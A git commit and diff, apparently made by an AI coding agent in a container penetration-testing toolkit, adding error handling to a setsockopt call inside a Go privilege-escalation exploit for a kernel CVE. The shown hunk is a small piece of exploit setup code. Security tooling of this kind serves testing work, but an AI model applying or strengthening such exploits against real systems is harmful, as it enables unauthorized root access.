fix: check ALG_SET_AEAD_AUTHSIZE setsockopt error per code review

Agent-Logs-Url: https://github.com/cdk-team/CDK/sessions/b45e6530-86b8-4285-923b-168cc69d0249

Co-authored-by: neargle <7868679+neargle@users.noreply.github.com>

Author: Copilot

pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go

@@ -123,15 +123,17 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error {
 	}
 
 	// ALG_SET_AEAD_AUTHSIZE: pass a NULL optval with optlen = auth-tag size (4).
-	syscall.Syscall6( //nolint:errcheck
+	if _, _, errno := syscall.Syscall6(
 		syscall.SYS_SETSOCKOPT,
 		uintptr(algFd),
 		uintptr(unix.SOL_ALG),
 		uintptr(unix.ALG_SET_AEAD_AUTHSIZE),
 		0,
 		4,
 		0,
-	)
+	); errno != 0 {
+		return fmt.Errorf("setsockopt ALG_SET_AEAD_AUTHSIZE: %v", errno)
+	}
 
 	// Accept returns the operation socket used for actual encrypt/decrypt calls.
 	opFd, _, errno := syscall.Syscall(syscall.SYS_ACCEPT, uintptr(algFd), 0, 0)